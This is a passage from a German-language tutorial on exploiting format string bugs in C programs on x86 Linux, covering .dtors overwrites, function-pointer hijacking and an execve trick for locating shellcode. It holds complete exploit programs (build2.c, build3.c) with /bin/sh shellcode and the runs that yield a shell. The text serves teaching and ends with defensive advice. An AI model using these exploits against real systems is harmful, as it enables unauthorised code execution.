    (0x00000000). Das erzeugt später einen
    segmentation fault, da das Programm seinen 0x00000000
    Marker nicht findet, und den nächsten Wert als Zeiger auf ein
    Unterprogramm wertet, was nicht unbedingt zutrifft.
Eigentlich ist der einzig interessante Abschnitt der destructor
    (.dtors): Wir haben keine Zeit irgendetwas von dem
    Constructor (.ctors) zu machen. Normalerweise ist es
    genug, die Adresse 4 Bytes nach dem Start des Abschnittes
    0xffffffff zu setzen:
0x00000000;Nun zurück zu unserem Beispiel. Wir ersetzten
    0x00000000 im Abschnitt .dtors und
    plazierten dort 0x8049848=0x8049844+4 mit der Adresse
    der accesForbidden() Funktion, die wir schon kennen
    (0x8048664):
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Alles läuft wunderbar: erst
main() dann
    helloWorld() und exit. Der Destructor wird aufgerufen
    und der Abschnitt .dtors fängt mit der Adresse
    von accesForbidden() an. Da es dort keine richtige
    andere Adresse einer Funktion gibt, erhält man den erwarteten
    Coredump. 
    Das war eine einfache Ausnutzung eines Sicherheitslochs. Nach dem
    gleichen Prinzip kann man eine Shell erhalten. Man kann den
    Shellcode entweder über argv[] oder über
    eine Umgebungsvariable übergeben. Wir müssen nur die
    richtige Adresse setzen (z.B die Adresse der eggshell) im Abschnitt
    .dtors.
Bis jetzt wissen wir:
In der Realität ist das verletzbare Programm oft nicht so einfach und sympatisch wie unser Beispiel. Wir benutzen daher eine neue Methode, die es uns erlaubt, den Shellcode in den Speicher zu schreiben und dann seine exakte Adresse zu finden (das heißt keine NOPs mehr am Anfang des Shellcodes).
Die Idee basiert auf rekursiven Aufrufen der Funktion
    exec*():
/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char **argv) {
  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;
  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;
  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");
  /* recall */
  if (nb == 0) 
    exit(0);
  execve(argv[0], arg, env);
}
    Die Eingabe ist ein nb Integer und das Programm wird
    sich nb+1 mal rekursiv aufrufen: 
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
Wir erkennen sofort, daß die Adressen von arg
    und argv nach dem zweiten Aufruf sich nicht mehr
    verändern. Wir benutzen genau diese Eigenschaft für
    unseren Angriff. Wir müssen nur unser build
    Programm leicht modifizieren, so daß es sich selbst aufruft,
    bevor es vuln aufruft. Auf diese Weise erhalten wir
    die genaue Adresse von argv und unserem Shellcode:
/* build2.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Same function as in build.c
}
int
main(int argc, char **argv) {
  
  char *buf;
  char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
  if(argc < 3)
    return EXIT_FAILURE;
  if (argc == 3) {
    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);
  } else {
    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
        argv[2],
        atoi(argv[4]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }
  return EXIT_SUCCESS;
}
    Der Trick ist, daß wir wissen, was wir aufrufen müssen
    gemäß der Anzahl der Argumente, die unser Progamm
    erhält. Um unseren Angriff zu starten, geben wir
    build2 die Adresse und den Offset, wo wir schreiben
    wollen.
Um zum Erfolg zu kommen, müssen wir das genau gleiche Memory
    Layout zwischen den verschiedenen Aufrufen zu build2
    und vuln behalten:
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿00000000000000000 000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Warum hat das nicht funktioniert? Wir haben gesagt, wir
    müssen die exakte Kopie des Memory Layouts zwischen den zwei
    Aufrufen einhalten ... und wir haben es nicht getan!
    argv[0] (der Name des Programms) hat sich
    geändert. Unser Programm heißt zuerst build2 (6
    bytes) und dann vuln (4 bytes). Es ist ein Unterschied
    von 2 Bytes, was genau der Wert ist, den man im vorherigen Beispiel
    sehen kann. Die Adresse des Shellcodes während des zweiten
    Aufrufes von build2 ist durch
    sc=0xbffff88f gegeben, aber die Anzeige von
    vuln in argv[2] ergibt
    20xbffff891: unsere 2 Bytes. Um das zu lösen, ist
    es genug, unser build2 in bui2 (nur 4
    Bytes) umzubenenen:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000 00000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Wieder gewonnen: jetzt funktioniert es viel besser ;-) Die
    eggshell ist im Stack und wir haben die Adresse, auf die
    ptrf zeigt auf unseren Shellcode zeigen lassen.
    Natürlich funktioniert das nur, wenn der Stack ausführbar
    ist.
Wir haben jedoch gesehen, daß man mit Formatstrings
    überall schreiben kann. Laß uns einen Destructor
    für unser Programm im Abschnitt .dtors
    hinzufügen:
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Hier gibt es keinen coredump beim Beenden unseres
    Destructors. Das ist, weil unser Shellcode ein exit(0)
    enthält.
Zum Abschluß noch ein kleines Geschenk. Hier ist
    build3.c, das auch zu einer Shell führt, aber es
    kann über eine Umgebungsvariable eingeführt werden:
/* build3.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Même fonction que dans build.c
}
int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
  if (argc == 3) {
    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else 
  if(argc==2) {
    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
    
  return 0;
}
    Nochmal zur Erinnerung: Da die Umgebungsvariablen im Stack liegen, müssen wir darauf achten, nicht den Speicher zu modifizieren.
Hier benutzen wir die globale Variable extern char
    **environ um die Werte zu setzen, die wir brauchen:
environ[0]: enthält den Shellcode;environ[1]: enthält die Adresse, in die wir
      schreiben wollenenviron[2]: enthält den Offset."%s" ein, wenn Funktionen wie
    printf(), syslog(), ..., aufgerufen
    werden. Falls man es überhaupt nicht vermeiden kann, dann
    muß man die Eingabe des Benutzers genau prüfen.
    exec*() Trick) und
    seine Ermutigungen haben sehr geholfen ;-)